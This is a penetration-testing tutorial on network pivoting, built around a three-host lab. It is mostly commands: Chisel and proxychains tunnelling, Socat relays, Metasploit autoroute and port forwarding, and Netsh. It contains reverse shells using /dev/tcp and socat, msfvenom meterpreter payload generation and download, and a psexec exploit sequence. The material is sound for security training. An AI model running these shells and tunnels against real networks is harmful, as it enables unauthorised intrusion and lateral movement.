2.5.1 Pivoting Guidelines

What is Pivoting?

Imagine an attacker gains access to one system in a network, like a thief entering a house through an unlocked window. This initial foothold allows them to "pivot" within the network, using the compromised system as a stepping stone.

By exploiting weaknesses and leveraging shared resources, they can move laterally, bypassing security measures like firewalls, just like the thief using a hidden key to access other rooms. This allows them to reach and potentially control additional systems, gaining access to more valuable resources or information within the network. While malicious actors use this technique for harmful purposes, ethical hackers (pen-testers) also employ pivoting to assess network security vulnerabilities.

2.5.2 Pivoting Example (3 Targets)

Network schema

HostnameNAT 1NAT 2NAT 3

Attacker Machine (Kali Linux)

10.10.10.4 (kali_nat1)

Target 1 (Ubuntu)

10.10.10.5 (t1_nat1)

20.20.20.7 (t1_nat2)

Target 2 (Ubuntu)

20.20.20.4 (t2_nat2)

30.30.30.5 (t2_nat3)

Target 3 (Ubuntu)

30.30.30.4 (t3_nat3)

For each targets we can create a simple index.html file, to differenciate each and host it on port 80 using python:

#target 1
echo "<h1>Target 1</h1>" > index.html #create a static html page with text: Target 1
sudo python3 -m http.server 80
#target 2
echo "<h1>Target 2</h1>" > index.html #create a static html page with text: Target 2
sudo python3 -m http.server 80
#target 3
echo "<h1>Target 3</h1>" > index.html #create a static html page with text: Target 3
sudo python3 -m http.server 80

Reconnaissance

We talk about pivoting when, after having exploited a victim machine, we find another internal network inside it. Therefore it is necessary to know the context well in the ways illustrated below.

Hosts Discovery on internal network

Once we have found the internal hosts we can do 3 things:

  • Do an arp-scan on localnet

  • Create a bash script to find open ports of the new IP

  • Upload a portable nmap binary

List of static binaries

ARP-Scan

Execute an arp-scan for host discovering in localnet:

arp-scan -I eth1 --localnet

Host and Port Discovery using scripts

Host Discovery

Linux

for i in $(seq 254); do ping 10.10.10.${i} -c1 W1 & done | grep from

for i in $(seq 254) -> do cicle 254 times, using i as cycle iterator

ping 10.0.2.${i} -c1 W1 & -> do ping request at current IP (based on iterator value) sending only 1 packet (-c1), with 1 sec of timeout(-W1), all in background (&).

do and done -> delimiter the beginning and the ending of code block for which iteration

| grep from -> filter output of last commands displaying only output that contains answers received at ping request

We can use this similar solution:

#!/bin/bash
for i in $(seq 1 254); do
       timeout 1 bash -c "ping -c 1 10.10.10.$i" &>/dev/null && echo " 10.10.10.$i is Active" &
done; wait

Windows

ipconfig # IP list
arp -a # To see network interfaces
Install IPv4 Network Scanner to scan the network range
.\IPv4NetworkScanner.ps1 -StartIPv4Address 10.10.10.0 -EndIPv4Address 10.10.10.254

Open Ports Discovery

Linux

#!/bin/bash
for port in $(seq 1 65535); do
        timeout 1 bash -c "echo '' > /dev/tcp/<IP>/$port" &>/dev/null && echo "[*] $port Port is Open" &
done; wait

Windows

Check open port of network range
.\IPv4PortScanner .ps1 -ComputerName <name> -StartPort 1 -EndPort 500 | ft

Host and Port Discovery using Nmap binary

Simulating that we've access to first victim machine using SSH protocol, we need to download a portable scanning program (as nmap) on our attacker machine (kali) and transfer it on victim machine via SSH.

Go to this github repo, that contains more useful static binary resources (nmap, python, socat, netcat, etc) and copy following URL:

https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap

download it on our attacker machine (Kali), assign exe privilege:

wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap #download nmap binary
chmod +x nmap #give execution permission

and copy binary to victim machina via SSH:

scp nmap pivot@IP:/tmp #copy via ssh on /tmp victim machine directory 

or using hosting it on a python web server and downloading it on victim machine:

python3 -m http.server 80 #on attacker machine, on the same directory of nmap
wget http://<kali_nat1>/nmap #if victim machine has Linux OS
certutil -urlcache -split -f http://<kali_nat1>/nmap #if victim machine has Windows OS

Now, we've transferred nmap on victim/pivot machine and we can run it there:

./nmap IP #we need to use -Pn flag to scan Windows machines

Pivoting phase

Now, we've scanning tool (bash script or nmap) to discover network and other subnets of victim/pivot machine, but we can't do a simple ping or scan to IP regarding external subnets from our attacker machine (kali).

To give a link between attacker machine and external iPs we need to using pivoting techniques.

Tools for Pivoting

  • Metasploit (auxiliary/server/socks_proxy)

  • Logolo-ng

  • Netsh

Chisel

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.

We are going to use Chisel to help us reach Target machine from our Attacker machine.

We also need to install proxychains, if it is not already installed on our Attacker machine, by running the following command.

#Kali
sudo apt-get -y install proxychains #download and install proxychains
curl https://i.jpillora.com/chisel! | bash #download and install binary
ln -s /usr/local/bin/chisel chisel #create a symbolic link for Chisel binary path
chmod +x chisel #give execution permission (do it on both machines)

Access to Target X (we'll do it for target 1, 2 and 3):

In our case we're accessing through machines via SSH and using following credentials: ubuntu:ubuntu

Now, we've Chisel on our Kali attacker machine (server), and we need to transfer it to victim machine target1 (client) for establish a connection.

Do it using a Python HTTP Server on port 80, on our attacker machine and download it on attacker machine:

#Kali
python3 -m http.server 80 #on attacker machine, on the same directory of chisel
#Target 1
ssh ubuntu@<t1_nat1> #access to target 1
wget http://<kali_nat1>/chisel #download chisel (if victim machine has Linux OS)
certutil -urlcache -split -f http://<kali_nat1>/chisel #download chisel (if victim machine has Windows OS)
chmod +x chisel #give execution permission

or transferring using SSH via:

scp chisel kali@<t1_nat1>:/tmp #copy via ssh on /tmp victim machine directory 
chmod +x chisel #give execution permission (do it on both machines) 

or transferring using Curl:

curl <kali_nat1>/chisel -o chisel

Finally, we can establish connection between attacker (Kali) and victim using chisel (Target 1):

Attacker Machine / Server

Solution 1 (i suggest it)

./chisel server --reverse -p 33 #on Kali

Solution 2

./chisel server --socks5 --reverse #on Kali
  • PORT = port for the Chisel traffic

  • socks5 = to setup a SOCKS5 proxy

  • reverse = to tell Chisel to wait for a connection from a client

Victim Machine / Client

Solution 1(i suggest it)

Via socks5 bring us all ports:

./chisel client <kali_nat1>:33 R:socks

Solution 2

Bringing only one port which would be like this:

./chisel client <Attacker_IP>:2000 R:80:<Victim_IP>:80

Solution 3

./chisel client --fingerprint <finger_of_chisel_server> <Attacker_IP>:<Listening_Attacker_Port> R:8000:<Victim_IP>:80
  • IP = The IP address of your Chisel server

  • PORT = The port you set on your Chisel sever

  • R:socks = enables the reverse SOCKS proxy

The connection will have been opened on the local port of our machine through 1080.

Rename terminal tabs is a best practies to facilitate understanding!

Setting Proxychains

First, check that you have proxychains↗ installed. It comes preinstalled in Kali Linux or Parrot. With root privileges edit the file /etc/proxychains4.conf. At the bottom, you should add the following line:

echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf #it adds IP and port in listening mode on chisel attacker machine

Now we can talk directly with attacker machine and do a scan preceding proxychains -q before every command. The -q is for quiet mode since most attackers won’t need verbose proxy traffic.

proxychains nmap -p80 --open --min-rate 4000 -v <Victim_IP> -sT -Pn 
proxychains curl <Victim_IP>:80
proxychains xfreerdp /v:<Victim_IP> /u:Administrator

The traffic flows into port 1080 on your machine and out on your jump host, which has established a connection back to your listener on the port you specified when executing chisel server.

Setting Proxy (browser use)

If we want to set proxy to see webpage using browser, we need to configure a proxy.

Foxy Proxy

We can use an extension for browser such as Foxy Proxy.

Install version for dedicated browser (Firefox, Chrome, etc)

Add Proxy -> Proxy Type: SOCKS5, Proxy IP address: 127.0.0.1, Port: <Listening_Attacker_Port> and save

Turn on FoxyProxy an go on website directly using IP pivot machine.

Use of proxychains

Checking network interface (ip a) on target 1, we can discover an host with <t2_nat2> IP and reach out it only using proxychains before commands:

Without use of proxychains (on terminal) and proxy (on browser) we can't reach out victim machine!

Now using Kali attacker machine we can see hosts on second network interface 20.20.20.0/24 (present on target 1 and 2).

and we can see that's third network interface 30.30.30.0/24 (target 3 -> <t2_nat3>.

Socat

Good, but the matter is that Kali attacker machine isn't reachable by target2:

Bad situation in a PT, where we need to spawn a reverse shell. To solve this problem a tool called Socat comes in handy.

We are going to use Socat to help us reach Attacker machine from our Target/Victim machine and spawn a shell.

#Kali
curl https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -o socat #download Socat
chmod +x socat #give execution permission (do it on both machines)
#transfer Socat on victim machine / target 1
python3 -m http.server 80

#download on target 1 using wget or similar methods
#Target 1
wget <kali_nat1>/socat
chmod +x socat
#Target 1
./socat tcp-l:1111,fork,reuseaddr tcp:<kali_nat1>:111 #tcp-l: listening port, send data to tcp:attacker:port

Now, we've a reverse connection, and if we listening on Kali machine using on port 111 and we spawn a reverse shell on target 2 (using Target 2's IP of 2nd net interface in common between target 1 and 2), we obtain a target 2 session on Kali machine.

#Kali
nc -nlvp 111 #listening on port 111
#Target 2
sh -i >& /dev/tcp/<t1_nat2>/1111 0>&1 #Bash -i reverse shell with IP target 1 and socat listening port 1111

All right! We stop listening on the Kali and to reach the third machine, we've to do the same procedure.

_______________________________________

We need Chisel and Socat on target 2, then we transfer it as always, but using target 1 machine and not Kali.

#Target 1
python3 -m http.server 80 #target 1, on the same directory of chisel
#Target 2
proxychains ssh ubuntu@<t2_nat2> #access to target 2 from kali
wget http://<t1_nat2>/* #download chisel and socat (if victim machine has Linux OS)
certutil -urlcache -split -f http://<t1_nat2>/* #download chisel and socat (if victim machine has Windows OS)
chmod +x chisel #give execution permission
chmod +x socat #give execution permission

Then, we need to open a new tunnel connection on Kali machine, therefore we execute a 2nd session of target 1 on a different port of socks5.

Setting proxychains

With root privileges edit the file /etc/proxychains4.conf. At the bottom, you should add the following line:

echo "socks5 127.0.0.1 5555" >> /etc/proxychains4.conf #it adds IP and port in listening mode on chisel attacker machine

If we'll give an error during next connections, we need to insert line to the top line of the previous request (as photo) or if "dynamic_chain" option is commented out and strict_chain" option is uncommented.

Execute socat on target 1 using a different port on listening and attacker machine IP and Port:

#Target 1
./socat tcp-l:2222,fork,reuseaddr tcp:<kali_nat1>:111 #tcp-l: listening port, send data to tcp:attacker:port

while we execute chisel on target 2 (using Target 1's IP of 2nd net interface in common between target 1 and 2, in addition we specify proxychains socks port: with R:5555:socks):

#Target 2
./chisel client <t1_nat2>:2222 R:5555:socks

well done, we obtained a new session tunnel on Kali:

Now, we've visibility with the target 3.

#Kali
proxychains curl <t3_nat3>

of course, to see webpage via browser we need to reconfigure proxy settings or foxy proxy.

Very good, we can access to target 3 using: proxychains ssh ubuntu@<t3_nat3>

But we've always the same problem, we can't reach out kali from target 3 and spawn a rev shell.

We can solve it establish a new session of socat on target 2, which will establish a connection starting from machine 2, passing through 1, until arriving at kali.

#Target 2
./socat tcp-l:3333,fork,reuseaddr tcp:<t1_nat2>:4444 #tcp-l: listening port, send data to tcp:attacker:port
#Target 1
./socat tcp-l:4444,fork,reuseaddr tcp:<kali_nat1>:2222  #tcp-l: listening port, send data to tcp:attacker:port

Reverse Shell

We create a bash reverse shell using target 2 IP machine (on the same subnet of target 3), and listening on kali machine using netcat:

#Kali
nc -nvlp 2222 #same port of socat on target 1
#Target 3
sh -i >& /dev/tcp/<t2_nat3>/3333 0>&1

Great, we're in target 3 machine!

In addition, we can use this tool to create a powershell reverse shell for Windows machine to communicate back to attacker machine (kali).

python hoaxshell.py -s <Victim_IP> -p 9999

it generates a reverse shell payload on execute on windows victim machine using powershell.

It permits us to obtain a reverse shell connection with windows victim machine on our attacker kali machine.

Metasploit

Pivoting

Pivoting

Port Forwarding

Portfwd

_________________________________

Metasploit

route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

or

# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2
# Meterpreter list active port forwards
portfwd list 

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd add –l 3389 –p 3389 –r target-host 
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd delete –l 3389 –p 3389 –r target-host 
# Meterpreter delete all port forwards
portfwd flush 

or

# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
run autoroute -s 192.168.15.0/24 
use auxiliary/server/socks4a

# Meterpreter list all active routes
run autoroute -p 

route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3 
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3 
# Meterpreter delete all routes
route flush 

Port forward with metasploit

We can also forward ports using metasploit. Say that the compromised machine is running services that are only accessible from within the network, from within that machine. To access that port we can do this in meterpreter:

portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r 192.168.222

Now we can access this port on our machine locally like this.

nc 127.0.0.1 3306

Ping-sweep the network

First we want to scan the network to see what devices we can target. In this example we already have a meterpreter shell on a windows machine with SYSTEM-privileges.

meterpreter > run arp_scanner -r 192.168.1.0/24

This command will output all the devices on the netowork.

Scan each host

Now that we have a list of all available machines. We want to portscan them.

We will to that portscan through metasploit. Using this module:

use auxiliary/scanner/portscan/tcp

If we run that module now it will only scan machines in the network we are already on. So first we need to connect us into the second network.

On the already pwn machine we do

ipconfig

Now we add the second network as a new route in metasploit. First we background our session, and then do this:

# the ip addres and the subnet mask, and then the meterpreter session
route add 192.168.1.101 255.255.255.0 1

Now we can run our portscanning module:

use auxiliary/scanner/portscan/tcp

Attack a specific port

In order to attack a specific port we need to forwards it like this

portfwd add -l 3389 -p 3389 -r 192.168.1.222
# Reverse Shell generation
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.149 LPORT=8080 -f elf --platform linux --arch x64 > reverse.elf
$ python -m http.server --bind 192.168.2.149
$ wget http://192.168.2.149:8000/reverse.elf
$ chmod u+x reverse.elf

# Setup listener
$ msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
# Autoroute module
msf5 > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set SESSION 1
msf5 post(multi/manage/autoroute) > set CMD add
msf5 post(multi/manage/autoroute) > set SUBNET 10.42.42.0
msf5 post(multi/manage/autoroute) > set NETMASK /24
msf5 post(multi/manage/autoroute) > set CMD print
msf5 post(multi/manage/autoroute) > run

# On windows you can use post/windows/gather/arp_scanner to discover other machines
# On Linux you can try arp -a

# SOCKS proxy setup
msf5 > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set SRVPORT 1081
msf5 auxiliary(server/socks4a) > run

# Now, equivalent to a dynamic SSH
# Double Pivoting
# Reverse shell from the pwned2 to the pwned1
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.42.42.1 LPORT=8088 -f exe --platform windows --arch x64 > reverse.exe

# Setup handler and exploit the found vulnerability

Chisel

socks

./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)

./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker

Port forwarding

./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim

Socat

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port2Port

socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &

Port2Port through socks

socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

Netsh

Netsh is a built-in Windows CLI binary which amongst other things can be used to port forward. This example will listen on 10.55.1.21 interface on port 5446 and will forward requests hitting 5446 off to 10.55.1.20 port 5985.

netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.55.1.21 connectport=5985 connectaddress=10.55.1.20

You can also use netsh to open ports on the firewall, which you may need to do when you smash open one of these ports.

netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446

Other resources

It's more suggested do Wreath THM Room and follow this article

Last updated